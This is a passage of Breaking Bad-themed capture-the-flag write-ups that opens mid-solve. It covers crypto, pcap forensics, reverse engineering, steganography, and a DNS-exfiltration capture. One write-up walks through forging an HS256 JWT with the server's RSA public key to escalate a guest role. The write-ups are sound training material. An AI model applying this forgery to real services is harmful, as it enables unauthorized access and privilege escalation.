return x & 0xff
The seed is one byte, so test all 256 possibilities:
```python id=”k5r1d9” observed_x1 = 0xf5
seed = None
for candidate in range(256): if xorshift8(candidate) == observed_x1: seed = candidate break
if seed is None: raise ValueError(“Seed not found”)
print(“Seed:”, f”{seed:02x}”)
1
2
3
4
5
The recovered seed is:
```text id="n2w7p4"
99
For generating the PRNG sequence:
```python id=”c6t3m8” outputs = [] state = seed
for _ in range(16): state = xorshift8(state) outputs.append(state)
for i, value in enumerate(outputs, 1): print(f”X{i} = {value:02x}”)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
The sequence is:
```text id="f4j9s2"
X1 = f5
X2 = e1
X3 = 32
X4 = e9
X5 = ec
X6 = 98
X7 = ee
X8 = ae
X9 = 68
X10 = 7b
X11 = ea
X12 = c1
X13 = 51
X14 = 61
X15 = be
X16 = d4
For reconstructing the salt:
The fixed permutation is:
```python id=”p7v2h5” permutation = [ 13, 6, 7, 10, 14, 1, 2, 9, 15, 4, 16, 3, 11, 8, 5, 12 ]
salt = bytes(outputs[i - 1] for i in permutation) print(“Salt:”, salt.hex())
1
2
3
4
5
This gives:
```text id="s8m4q1"
5198ee7b61f5e168bee9d432eaaeecc1
For building the hash chain:
There are two possible branches.
Story A:
```text id=”b3n7x9” BLUE → 99.1 → JESSE → 17 → HEISENBERG
1
2
3
4
5
Story B:
```text id="d6r2k8"
RED → 96.4 → MAX → 42 → FRING
The hash-chain operation is:
```text id=”w5p1c7” H1 = SHA256(token1) H2 = SHA256(H1 || token2) H3 = SHA256(H2 || token3) …
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
```python id="q9f3m6"
from hashlib import sha256
def build_chain(tokens):
current = sha256(tokens[0].encode()).digest()
for token in tokens[1:]:
current = sha256(current + token.encode()).digest()
return current
story_a = ["BLUE", "99.1", "JESSE", "17", "HEISENBERG"]
story_b = ["RED", "96.4", "MAX", "42", "FRING"]
info_a = build_chain(story_a)
info_b = build_chain(story_b)
print("INFO A:", info_a.hex())
print("INFO B:", info_b.hex())
The results are:
```text id=”r4k8t2” INFO A: 00f9f80029d42eb7672b9daf7c3ae1f203e628b30ff5fc22ba08e98f6d4c2191
INFO B: 85f3b386efd3d31d6eac7e8b240f84ad4d3c0bc2795cd148250e9535ae13f7b3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
For deriving the AES key:
For each branch, derive the AES-256 key using HKDF-SHA256:
```python id="h1v6n9"
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
aes_key = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
info=info
).derive(shared_secret)
For decrypting the ciphertext:
The participant receives:
```text id=”m3q7s5” info.json aes_nonce.bin aes_ciphertext.bin
1
2
3
4
5
6
7
8
Read the AES files:
```python id="x8d2p4"
from pathlib import Path
nonce = Path("aes_nonce.bin").read_bytes()
ciphertext = Path("aes_ciphertext.bin").read_bytes()
Try both hash-chain branches:
```python id=”t5k9w1” from cryptography.hazmat.primitives.ciphers.aead import AESGCM
for branch, info in [(“A”, info_a), (“B”, info_b)]: aes_key = HKDF( algorithm=hashes.SHA256(), length=32, salt=salt, info=info ).derive(shared_secret)
1
2
3
4
5
6
7
8
try:
flag = AESGCM(aes_key).decrypt(nonce, ciphertext, None)
print("Correct branch:", branch)
print("FLAG:", flag.decode())
break
except Exception:
pass else:
print("Decryption failed") ```
Only the correct INFO produces a valid AES-GCM authentication tag. The successful decryption identifies the correct branch and reveals the flag.
The final flag is:
text id="n6r3x8" CYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt}
Flag
CYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt} Blindside
Blindside
Author : P S Suraj Kumar
A single pcap, two carrier flows, three hiding spots for the flag, and a decoy zip entry to punish anyone who just greps for CYS{. Nothing here needs the Wireshark GUI — tshark covers every step, and the point of the challenge was to make sure a headless box could still solve it.
What’s actually going on
The “evidence file” leaves the network in two pieces over two different protocols: half over a plain HTTP GET, the rest hours later over FTP-DATA, same two hosts both times. That split alone is a mild evasion trick against anyone only watching one flow. The FTP control channel logs in with a cleartext password, which turns out to double as the zip password later — reusing credentials across services is basically a running joke in these captures.
Once you glue the two halves back together you get a normal-looking PDF, except it keeps going well past its own %%EOF. That tail is a zip file XOR’d with a single byte, so file and binwalk just see noise instead of PK\x03\x04. Inside the zip, three files: two images and a readme. The readme has a flag-shaped string in it. It’s wrong. Ignore it.
The real flag is split across the two images and the zip’s own comment field, each one hidden with a different trick — EXIF metadata, LSB steganography, and the archive comment (which, notably, isn’t encrypted at all and doesn’t need the password).
Pulling it apart
Start with the conversations to see what’s even in the capture:
1
tshark -r capture.pcapng -q -z conv,tcp
Three TCP streams show up: HTTP on port 80, FTP control on 21, FTP-DATA on 20, all between the same pair of hosts, with the FTP pair kicking off about eight seconds after HTTP wraps up. That’s the “hours apart” from the flavor text, compressed for the sake of not making people wait around.
Grab the HTTP body without touching a GUI:
1
tshark -r capture.pcapng --export-objects http,./httpobjs
For the FTP-DATA half, find the right stream and follow it raw:
1
2
tshark -r capture.pcapng -Y "ftp-data" -T fields -e tcp.stream | sort -u
tshark -r capture.pcapng -q -z follow,tcp,raw,<stream id>
Stick the HTTP body and the FTP-DATA payload together in that order and you get back the original PDF. The password, while you’re in there, is sitting in plaintext on the control channel:
1
tshark -r capture.pcapng -Y "ftp.request.command==PASS" -T fields -e ftp.request.arg
That gives 1_Am_The_Danger_99 — worth remembering, it comes back later.
The PDF itself is fine right up to %%EOF. Everything after that is high-entropy garbage with no file magic, which is the usual tell for “XOR this.” Only 256 keys to try, so just brute force it looking for a decoded PK\x03\x04. Key turns out to be 0x37.
Before doing anything else with the recovered zip, check its comment — it costs nothing and doesn’t need a password:
1
unzip -z recovered.zip
That’s one third of the flag, sitting right there. Then unlock the rest:
1
unzip -P '1_Am_The_Danger_99' recovered.zip
which drops part1_carrier.jpg, part2_carrier.png, and the decoy readme.txt. exiftool on the jpeg pulls the UserComment field straight out — that’s part one. The png doesn’t have anything visible sitting on top; it’s LSB steganography, least significant bit of each RGB channel in raster order, first 32 bits are a length header in bytes, rest is the message.
Once you’ve got all three pieces, the ordering isn’t really a puzzle — one starts with CYS{, one ends with }, so there’s only one way they fit together.
Solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
"""Solver for 'Say My Name'. Usage: python3 solve.py capture.pcapng"""
import sys, zipfile, io
from scapy.all import rdpcap, TCP, Raw
from PIL import Image
import piexif
def main(pcap_path):
pkts = rdpcap(pcap_path)
http_data = b""
for p in pkts:
if TCP in p and Raw in p and p[TCP].sport == 80:
http_data += bytes(p[Raw])
sep = http_data.find(b"\r\n\r\n")
part1_net = http_data[sep + 4:]
part2_net = b""
for p in pkts:
if TCP in p and Raw in p and p[TCP].sport == 20:
part2_net += bytes(p[Raw])
combined = part1_net + part2_net
ftp_ctrl = b""
for p in pkts:
if TCP in p and Raw in p and (p[TCP].sport == 21 or p[TCP].dport == 21):
ftp_ctrl += bytes(p[Raw])
pass_line = next(l for l in ftp_ctrl.split(b"\r\n") if l.startswith(b"PASS "))
zip_password = pass_line.split(b" ", 1)[1].decode()
eof = combined.find(b"%%EOF")
tail = combined[eof + len(b"%%EOF") + 1:]
key = next(k for k in range(256)
if bytes(b ^ k for b in tail[:4]) == b"PK\x03\x04")
zip_bytes = bytes(b ^ key for b in tail)
zf = zipfile.ZipFile(io.BytesIO(zip_bytes))
part3 = zf.comment.decode()
zf.setpassword(zip_password.encode())
jpg_bytes = zf.read("part1_carrier.jpg")
with open("/tmp/_part1.jpg", "wb") as f:
f.write(jpg_bytes)
exif = piexif.load("/tmp/_part1.jpg")
uc = exif["Exif"][piexif.ExifIFD.UserComment]
part1 = uc[8:].decode() if uc[:5] == b"ASCII" else uc.decode()
png_bytes = zf.read("part2_carrier.png")
img = Image.open(io.BytesIO(png_bytes)).convert("RGB")
pixels = list(img.getdata())
bits = "".join(str(ch & 1) for px in pixels for ch in px)
length = int(bits[:32], 2)
msg_bits = bits[32:32 + length * 8]
msg_bytes = bytes(int(msg_bits[i:i+8], 2) for i in range(0, len(msg_bits), 8))
part2 = msg_bytes.decode()
print("part1:", part1)
print("part2:", part2)
print("part3:", part3)
print("flag: ", part1 + part2 + part3)
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "capture.pcapng")
Needs pip install scapy Pillow piexif --break-system-packages.
Loose ends
readme.txtcarries a fake flag with the oldCYSCOM{...}prefix — this event’s flags all use the shorterCYS{...}format, so it’s also a trap for people running a blind regex over everything they find.- The “you are goddamn right” line in the cover memo is just flavor — it echoes the FTP/zip password (
1_Am_The_Danger_99) but doesn’t hold any part of the flag. Don’t spend time trying to extract something from it. - Re-solved the whole thing from a clean capture using nothing but tshark, scapy, and PIL to make sure nobody actually needs Wireshark’s desktop app open to get through this.
Flag
CYS{s4y_my_n4m3_h315enb3rg} The Blackwood Manor Case File
The Blackwood Manor Case File
The challenge is a web-based applied cryptography challenge involving a JWT algorithm confusion vulnerability.
The server-side token examiner trusts the alg value specified in the JWT header and selects the verification method accordingly.
For RS256, it performs RSA signature verification using the RSA public key.
For HS256, it performs HMAC-SHA256 verification but incorrectly uses the same RSA public key text as the HMAC secret.
Since the RSA public key is not secret, we can use it to forge a valid HS256 token.
Finding the Public Key
Firstly, we open index.html in a browser and inspect the page source.
Searching for:
1
BEGIN PUBLIC KEY
reveals the RSA public key inside a hidden element:
1
<pre id="exhibit-4">
This is the public key used by the token examiner to verify the JWT signature.
We copy the complete PEM block exactly as it appears, including the BEGIN PUBLIC KEY and END PUBLIC KEY lines and the line breaks.
Inspecting the Guest Token
The page also displays the decoded payload of the guest token.
The payload has the following structure:
1
2
3
4
5
6
7
{
"sub": "...",
"name": "...",
"role": "guest",
"case": "blackwood-manor",
"iat": "..."
}
The important field is role, which is currently set to:
1
guest
We need to change this to:
1
chief_inspector
Exploiting JWT Algorithm Confusion
The vulnerability occurs because the examiner trusts the algorithm specified in the JWT header.
The original token uses RSA-based signing:
1
2
3
4
{
"alg": "RS256",
"typ": "JWT"
}
We can change the algorithm to HS256:
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}
We then create a payload with the required role:
1
2
3
4
5
6
{
"sub": "attacker",
"name": "A. Ashworth",
"role": "chief_inspector",
"case": "blackwood-manor"
}
The crucial mistake is that the application uses the RSA public key text as the HMAC secret when HS256 is selected.
Therefore, we can sign our forged token ourselves using the publicly available RSA key.
Creating the Forged Token
This can be done using tools such as jwt.io or locally with libraries such as jose or PyJWT.
Using jwt.io, set the header to:
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}
and the payload to:
1
2
3
4
5
6
{
"sub": "attacker",
"name": "A. Ashworth",
"role": "chief_inspector",
"case": "blackwood-manor"
}
Next, paste the RSA public key copied from the page source into the secret field.
Make sure “secret base64 encoded” is unchecked, so the public key is interpreted as raw UTF-8 bytes.
jwt.io then calculates the HMAC-SHA256 signature using the RSA public key text as the secret.
The resulting JWT has the usual three components:
1
header.payload.signature
Copy the complete token.
Accessing the Evidence Room
Paste the forged JWT into Present Credentials and submit it.
The examiner reads the JWT header and sees:
1
alg: HS256
It therefore performs HMAC-SHA256 verification using the RSA public key text.
Since we used the exact same public key text to generate the HMAC signature, the signature verification succeeds.
The examiner then checks the token’s role:
1
chief_inspector
Access is granted and the Evidence Room is unsealed.
The flag is revealed:
1
CYS{alg_confusion_ashworth_forged_the_seal}
The complete attack chain is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Inspect page source
↓
Extract RSA public key
↓
Inspect guest JWT
↓
Change RS256 → HS256
↓
Change role → chief_inspector
↓
Sign using RSA public key as HMAC secret
↓
Submit forged JWT
↓
Access Evidence Room
↓
Flag
Flag
CYS{alg_confusion_ashworth_forged_the_seal} Tio's Bell
Tio’s Bell
Author: Sagnik
This challenge provides a Linux x86-64 ELF binary which appears to be a laboratory monitoring program.
The binary contains several chemistry-themed functions, a custom decoder, a state machine, and a final flag-generation routine. The intended solve is to reverse engineer the important execution path rather than simply searching the binary for the flag.
The overall solve path is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ELF
↓
main
↓
dispatcher
↓
crystallize()
↓
custom decoder
↓
hidden clue
↓
bell/state-machine sequence
↓
target resolution
↓
FNV-1a
↓
LCG + XOR
↓
FLAG
Firstly, identify the binary
Run:
1
file lab_monitor
The binary is a Linux x86-64 ELF.
It is useful to inspect its strings as well:
1
strings -a lab_monitor
There are several laboratory-themed messages and diagnostic strings.
The binary also contains the flag format:
1
CYS{%s}
but the actual flag is generated at runtime.
Find the main function
Open the binary in Ghidra and follow the ELF entry point until the call to __libc_start_main.
This leads to main.
The main function initializes the program state and then passes it through a dispatcher which calls several themed stages.
The interesting stages include functions associated with:
1
2
3
4
5
purity
temperature
yield
crystallize
sensor
Most of the early logic is useful mainly for reconstructing the intended execution path.
Follow the crystallize stage
The interesting function is the crystallize() stage.
It processes a 50-byte encoded blob using a 16-byte substitution table.
The binary contains the following table:
1
2
13 5a 27 41 0d 6e 32 19
55 08 3c 72 24 4f 11 38
and a 50-byte encoded blob.
The function also maintains a rolling 32-bit state.
Identify the LCG
The state update is:
1
state = state * 0x19660D + 0x3C6EF35F;
with 32-bit wrapping.
The initial state is:
1
737
This is a Linear Congruential Generator.
For every byte, the program advances the state and uses the high byte of the result as part of the decoder.
Reverse the byte transformation
The Ghidra output contains a position-dependent rotation:
1
(i % 5) + 3
The operation:
1
x >> rotation | x << (8 - rotation)
is an 8-bit right rotation.
The decoder can therefore be reproduced conceptually as:
1
2
3
4
5
6
7
8
9
10
11
12
13
state = 737
for i in range(50):
state = (state * 0x19660D + 0x3C6EF35F) & 0xffffffff
x = SUB_TABLE[i & 0xf] + ENC[i]
x &= 0xff
x ^= state >> 24
x = ror8(x, (i % 5) + 3)
plaintext[i] = x
Decoding the blob gives:
1
IMMOBILE ELDER / PRIVATE RESIDENCE / SIGNAL DEVICE
This is the first major clue.
Interpret the clue
The decoded text describes:
1
2
3
IMMOBILE ELDER
PRIVATE RESIDENCE
SIGNAL DEVICE
This points toward Hector Salamanca from Breaking Bad, who is an elderly, largely immobile character associated with a bell used as his communication device.
The bell reference is important because it leads into the next stage of the binary.
Reverse the sensor state machine
The next interesting function implements a state machine.
The expected sequence is embedded as:
1
02 02 05 02 02
Therefore the required signal sequence is:
1
2 2 5 2 2
Following the state transitions shows that successfully processing this sequence reaches:
1
2
trigger_state = 6
trigger_ok = 1
This confirms that the bell clue is connected to the intended execution path.
Resolve the target
The next stage checks that the clue and sensor state are valid.
It then evaluates the candidate records stored in the binary.
The matching candidate produces:
1
target_id = 0x6d
or:
1
109
in decimal.
This value is later mixed into the final flag-generation seed.
Identify FNV-1a
The final flag-generation routine hashes the recovered clue.
The hash function starts with:
1
0x811C9DC5
and multiplies by:
1
0x01000193
after XORing each input byte.
These are the standard constants for FNV-1a.
The equivalent Python function is:
1
2
3
4
5
6
7
8
def fnv1a(data):
h = 0x811C9DC5
for byte in data:
h ^= byte
h = (h * 0x01000193) & 0xffffffff
return h
For:
1
IMMOBILE ELDER / PRIVATE RESIDENCE / SIGNAL DEVICE
the resulting hash is:
1
0x95516be4
Construct the final seed
The program mixes the clue hash with the recovered target ID and trigger state:
1
2
3
4
5
seed =
clue_hash
XOR target_id
XOR trigger_state * 0x45D9F3B
XOR 0x224BB268
This can be reproduced with:
1
2
3
4
5
6
seed = (
clue_hash
^ 0x6D
^ ((6 * 0x45D9F3B) & 0xffffffff)
^ 0x224BB268
) & 0xffffffff
This produces the initial state used by the final flag generator.
Generate the flag
The program uses the same LCG:
1
state = state * 0x19660D + 0x3C6EF35F
For each of 20 characters it:
- advances the LCG;
- takes the high byte;
- rotates it;
- XORs it with the 16-byte substitution table;
- reduces the result modulo 26;
- converts it into a lowercase letter.
The rotation is:
1
(i % 5) + 3
The equivalent generation logic is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
result = []
for i in range(20):
seed = (
seed * 0x19660D
+ 0x3C6EF35F
) & 0xffffffff
byte = (seed >> 24) & 0xff
rotation = (i % 5) + 3
byte = rol8(byte, rotation)
byte ^= SUB_TABLE[i & 0xf]
result.append(
chr(ord('a') + (byte % 26))
)
flag = "CYS{" + "".join(result) + "}"
This produces:
1
CYS{ekrfcozsmqktfpbmtcyq}
Complete solve chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
lab_monitor
|
v
main
|
v
dispatcher
|
v
crystallize
|
+-----------+-----------+
| |
16-byte table 50-byte blob
| |
+-----------+-----------+
|
v
LCG decoder
|
v
IMMOBILE ELDER / PRIVATE RESIDENCE /
SIGNAL DEVICE
|
v
sensor state machine
|
v
2 2 5 2 2
|
v
state = 6
|
v
target = 0x6d
|
v
FNV-1a
|
v
seed construction
|
v
LCG
|
v
ROL + XOR
|
v
% 26
|
v
FLAG
Final Flag
1
CYS{ekrfcozsmqktfpbmtcyq}
Flag
CYS{ekrfcozsmqktfpbmtcyq} VENONA
VENONA
Author : Danniyel Franx
Files handed to solvers
cover.png— real Fantasian-alphabet hint image withsecret.zipappended after IENDcipher.png— two intercepted ciphertexts (C1, C2), a visible faint clue line, K2 in EXIF
Step-by-step solution
Decode the glyphs on
cover.pngusing the real Fantasian alphabet →"NOT EVERYTHING VISIBLE IS ALL THERE IS"— nudges solver to inspect the file, not just view it.- Extract the zip. Either works:
binwalk cover.png(finds it as a Zip archive at offset 36303)unzip cover.pngdirectly (Info-ZIP self-corrects the offset; prints a harmless warning)
This produces
flag.enc— inside a password-protected zip. Open
cipher.png. Visible: two hex strings (C1, C2), and a faint light-grey line reading “I LOVE VENONA” — flavor + functional crib, nodding to the real VENONA project (Soviet one-time-pad key reuse let cryptanalysts break “unbreakable” ciphers). Runexiftool cipher.png→Commentfield → this is K2, needed later (step 6).- Crib-drag the two-time pad.
1 2 3 4
C1 = ZIP_PASSWORD XOR K C2 = "I LOVE VENONA STOP MEET AT DAWN..." XOR K (same K — the bug) C1 XOR C2 = ZIP_PASSWORD XOR "I LOVE VENONA" (C1 XOR C2) XOR "I LOVE VENONA" = ZIP_PASSWORD
→ recovers the zip password:
Kryptos_Venon Unlock the zip:
unzip -P "Kryptos_Venon" cover.png→flag.enccontains:TRLsUeVtUBL0IBUhTugfJRZrIuDrURP1IYWhJBH0TOEfTeZ5HYQgUODsJOIeIRZ1ThD3IOWgURDtHOf4T2UdIhAfIuTsIOf1IhT=- Peel the final layer (built as flag → XOR K2 → hex → base64 → ROT21, so undo in reverse):
- Apply ROT5 (not ROT21 again — ROT21 is not self-inverse; 21+5=26) → valid Base64
- Base64-decode → hex string
- Hex-decode → raw bytes
- XOR those bytes with K2 (cyclically) →
CYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3}
Full command sequence (copy-paste)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 1. Recon + carve the zip out of cover.png
file cover.png
binwalk cover.png
unzip cover.png # or: binwalk -e cover.png
# 2. Recon on cipher.png
exiftool cipher.png # Comment: ee4651a612cc87e9 (= K2)
# "I LOVE VENONA" is directly visible (faint grey) near the bottom of the image
# 3. Crib-drag + full decode, all in one script
python3 << 'EOF'
import base64
C1 = bytes.fromhex("8dc0e7f2016a0115b4f1485d64")
C2 = bytes.fromhex("8f92d2cd2340521ca7da697c4b9e2a436cfe6be96bd4dec16d07c1a713a1a80555b00cdee66a9e4605d4c39e54e52bd5c8b223b20e60")
CRIB = "I LOVE VENONA"
xor_c1c2 = bytes(a ^ b for a, b in zip(C1, C2))
zip_pw = bytes(a ^ b for a, b in zip(xor_c1c2, CRIB.encode())).decode()
print("ZIP password:", zip_pw)
EOF
# 4. Unzip with the recovered password
unzip -P "Kryptos_Venon" -o cover.png -d out
cat out/flag.enc
# 5. Final decode chain: ROT5 (undoes ROT21) -> base64 decode -> hex decode -> XOR K2
python3 << 'EOF'
import base64
enc = open("out/flag.enc").read().strip()
def rot(s, n):
return "".join(chr((ord(c)-65+n)%26+65) if c.isupper() else
chr((ord(c)-97+n)%26+97) if c.islower() else c for c in s)
step1 = rot(enc, 5)
step2 = base64.b64decode(step1)
raw = bytes.fromhex(step2.decode())
K2 = bytes.fromhex("ee4651a612cc87e9")
flag = bytes(b ^ K2[i % len(K2)] for i, b in enumerate(raw)).decode()
print("FLAG:", flag)
EOF
Flag
CYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3} Blue Noise
Blue Noise
The player receives only blue_noise.png. The visible photograph is a distraction; the solve has two layers.
Recover the key from a blue-channel bit plane
Start with structural checks:
1
2
3
file blue_noise.png
strings blue_noise.png
binwalk blue_noise.png
The image itself does not contain a readable flag. Inspect RGB channels and their bit planes. In blue-channel bit plane 2, the image contains a QR code. Visualizing that plane or extracting the hidden region reveals the QR. Scanning it gives:
1
737-ABQ
The key is deliberately in bit plane 2 rather than the obvious LSB.
Find and unlock the appended artifact
The PNG has data after its IEND chunk. binwalk reports a ZIP archive in the suffix. Recover it either with binwalk -e or by locating the ZIP local header and copying from there:
1
2
3
4
offset=$(binwalk blue_noise.png | awk '/Zip archive data/ {print $1; exit}')
dd if=blue_noise.png of=hidden.zip bs=1 skip="$offset" status=none
unzip -P 737-ABQ hidden.zip
cat note.txt
The password-protected note.txt contains:
1
CYS{BLU3_H1D35_M0R3_TH4N_C0L0R}
The intended chain is therefore: blue bit plane → QR key → trailing ZIP → flag.
Flag
CYS{BLU3_H1D35_M0R3_TH4N_C0L0R} Blue Sky Dead Drop v2
Blue Sky Dead Drop v2
Author: Gokul
TL;DR of the solve chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PCAP (DNS only)
└─> exfil subdomains: s<idx><type>.<hex>.<d1>.<d2>.<domain>
│ "zero comes before A" → base32hex alphabet (0-9a-v)
│ "clean copies count once" → dedupe / ignore corrupted retries + 'r' rejects
│ "check the order of delivery" → sort by base-36 sequence number
▼
base32hex → 32-byte chunks → gzip → tar
└─> labcheck (ELF) + cook_notes.txt + manifest.enc + drops.dat
│ "manager special" = POLLOS7 (current slip)
│ "token before batch stamp, one-char joiner" → TOKEN$B30852
▼
labcheck accepts POLLOS7$B30852
▼
PBKDF2-HMAC-SHA256 → AES-256-GCM (AAD "BSC2") → decrypt manifest.enc
└─> route=RV-052, window=15:08:52Z, key_fragment=d7d4299869b9d8c55138
▼
payload XOR repeated_SHA256(fragment|route|window) → FLAG
0. Recon — what’s actually in the capture
The README says a workstation was flagged for “unusual DNS activity” and only the packet capture survived. Loading the PCAP with Scapy:
1
2
3
from scapy.all import *
pkts = rdpcap('capture.pcap')
print(len(pkts)) # 464 packets
Every single packet is DNS. There are two populations:
Background noise — normal-looking lookups (
auth.corp.local,clients4.google.com,cdn.jsdelivr.net,time.cloudflare.com, …) that all resolve to203.0.113.x(TEST-NET-3 documentation addresses). These exist to make the exfil traffic blend in.The exfil channel — weird high-entropy labels of the form:
1 2
s<INDEX><TYPE>.<HEX4>.<D1>.<D2>.<DOMAIN> e.g. s000o.7a5b.619uabmtbvlj9h15j3n7.4p7vboikcm08ih3h69g.updates.madrigal-cache.net
Breaking that name down:
| part | example | meaning |
|---|---|---|
s000o | 000 + o | base-36 sequence number (000) + type (o) |
7a5b | hex | a small 2-byte field (role unclear — see §Notes) |
d1 | 619uabmtbvlj9h15j3n7 | payload chunk part 1 |
d2 | 4p7vboikcm08ih3h69g | payload chunk part 2 |
edge / api / updates / img | C2 domain | “which drop point this batch went to” |
Grouping the records by type:
| type | count (unique) | index pattern | d1/d2 length | domain |
|---|---|---|---|---|
o | 24 | 36·k (0,36,72,…) | 20 + 19 | api/updates/img |
q | 170 | 4 + 36·k | 26 + 26 | edge |
r | 4 | scattered | 26 + 26 | edge |
Two observations that matter enormously:
rrecords are rejected batches. Severalrqueries get anrcode=3(NXDOMAIN) response and are then retransmitted — they’re the failed/dirty batches.- Some
qindices appear twice with payloads that differ by a single character (e.g. index0b4→v5tebnsd…vsu5tebnsd…). One copy is corrupted; the other is clean.
1. Reading the hints (the TXT records)
Three TXT answers in the capture carry the “cook’s” instructions:
1
2
3
4
5
6
7
8
qa-note.madrigal-cache.net.
TXT "QA memo: zero comes before A; clean copies count once;
position precedes run length."
special.pollos.local. TXT "Manager special: POLLOS7"
special.cache0.pollos.local TXT "Manager special: FAMILIA2"
special.cache1.pollos.local TXT "Manager special: VEGGIE4"
special.cache2.pollos.local TXT "Manager special: COMBO12"
Decoding the memo:
“zero comes before A” → the data alphabet does not start at
a; it starts at0. Thed1/d2fields use exactly the 32-character set0123456789abcdefghijklmnopqrstuv— that’s base32hex (RFC 4648 “Extended Hex Alphabet”). (The sequence numbers also use base-360-9a-z.)“clean copies count once” → deduplicate. For every logical chunk there may be several copies on the wire (retries, corrupted retransmits, and
rrejects). Only one clean copy of each chunk goes into the message.“position precedes run length” → ordering/chunking matters: you must respect the position (sequence number) of each chunk when reassembling.
“the cook never repeats a recipe… check the order of delivery” (README) → reassemble in sequence-number order, not capture order.
“the kitchen manager changed the special during the shift; Gus was particular about which slip was current” → there are several “manager special” values, but only the current one (
special.pollos.local→POLLOS7, no.cacheNsuffix) is the live slip. The others are stale.
2. Reassembling and decoding the exfil stream
2.1 Collect & dedupe the records
1
2
3
4
5
6
7
8
9
10
11
12
13
import re
from scapy.all import *
pkts = rdpcap('capture.pcap')
recs = []
for p in pkts:
if not p.haslayer(DNS):
continue
q = p[DNS].qd.qname.decode().rstrip('.')
m = re.match(r'^s([0-9a-z]{3})([a-z])\.([0-9a-f]{4})\.([0-9a-z]+)\.([0-9a-z]+)\.([a-z0-9.-]+)$', q)
if m:
idx, typ, hx, d1, d2, dom = m.groups()
recs.append((int(idx, 36), typ, hx, d1, d2, dom, p[DNS].rcode))
2.2 base32hex → bytes
Each q record has d1+d2 = 26+26 = 52 base32hex characters = 52 × 5 = 260 bits. That’s 32.5 bytes, so every label actually carries 32 bytes with 4 bits of padding. The important subtlety: the chunks are self-contained — decode each label’s 52 chars to 32 bytes individually (do not concatenate the strings and decode in one shot, or the 4 padding bits per label desynchronise the bit stream).
1
2
3
4
5
6
B32 = "0123456789abcdefghijklmnopqrstuv"
def b32hex_decode(s): # 52 chars -> 32 bytes
bits = ''.join(f'{B32.index(c):05b}' for c in s)
n = (len(bits) // 8) * 8
return bytes(int(bits[i:i+8], 2) for i in range(0, n, 8))
2.3 Sort, choose clean copies, decompress
Sort the unique q records by sequence number, pick the clean copy at each of the 7 conflicted indices (validated by the gzip CRC32 — a wrong byte almost always fails the CRC, which is exactly what “clean copies count once” exploits), drop the r rejects, and decompress:
1
2
3
4
5
6
7
8
9
10
11
import gzip
# dedupe: keep one variant per (idx, d1, d2)
uniq = {}
for r in recs:
uniq.setdefault((r[0], r[2], r[3], r[4], r[5]), r)
q = sorted([r for r in uniq.values() if r[1] == 'q'], key=lambda r: r[0])
raw = b''.join(b32hex_decode(r[3] + r[4]) for r in q)
data = gzip.decompress(raw) # -> POSIX tar archive
The first bytes are 1f 8b 08… — the gzip magic confirms the encoding is right.
Brute-forcing the corrupt copies. The 7 duplicated indices each have 2–3 variants, so there are 192 combinations; a tiny loop that tries every combination and calls
gzip.decompressuntil one succeeds pinpoints the clean copy of each chunk. (gzip’s built-in CRC32 is the “QA checker”.)
2.4 Extract the tar
1
2
3
4
5
tar -xf q_dec.bin
labcheck x86-64 ELF, stripped ("Pollos QA / calibration gate")
cook_notes.txt the recipe
manifest.enc 430 bytes, "BSC2" seal
drops.dat drop records
cook_notes.txt:
1
2
3
4
5
6
7
8
9
10
The resolver logged the manager special during the shift. That token is the first ingredient.
Batch stamp: B30852
Gus writes the menu token before the batch stamp. The QA checker knows the one-character joiner.
Whatever labcheck accepts is the exact sealing phrase for manifest.enc.
Seal recipe:
header = BSC2 | iterations(le32) | salt(16) | nonce(12) | plaintext_sha256(32) | ciphertext+tag
KDF = PBKDF2-HMAC-SHA256, header iteration count, 32-byte key
cipher = AES-256-GCM
AAD = BSC2
3. Reversing labcheck — the sealing phrase
labcheck is the “QA gate”: feed it a phrase and it prints Calibration accepted. or rejected. Disassembly (objdump -d -M intel) of main (at 0x4010a0) shows the validation:
40111b: call strlen@plt
401120: cmp rax,0xe ; length must be 14
401124: jne 401272 ; -> rejected
40112a: cmp BYTE PTR [rsp+0x67],0x24 ; char[7] must be '$'
401160: cmp BYTE PTR [rsp+0x68],0x42 ; char[8] must be 'B'
; chars[0..6] must each be A-Z or 0-9
401140: movzx edx,BYTE PTR [rax]
401143: lea ecx,[rdx-0x41] ; 'A'
401146: cmp cl,0x19 ; <= 'Z' ?
40114b: sub edx,0x30 ; else '0'
40114e: cmp dl,0x9 ; <= '9' ?
; chars[9..13] must be digits
401170: movzx eax,BYTE PTR [rbx+rdx*1]
401174: sub eax,0x30
401177: cmp al,0x9
So the accepted format is:
1
XXXXXXXX$B##### (7 × [A-Z0-9], '$', 'B', 5 × digits)
→ “menu token before the batch stamp, joined by $” → TOKEN$B30852.
The current special is POLLOS7, and trying the four candidates:
1
2
3
4
POLLOS7$B30852 -> Calibration accepted. ✅
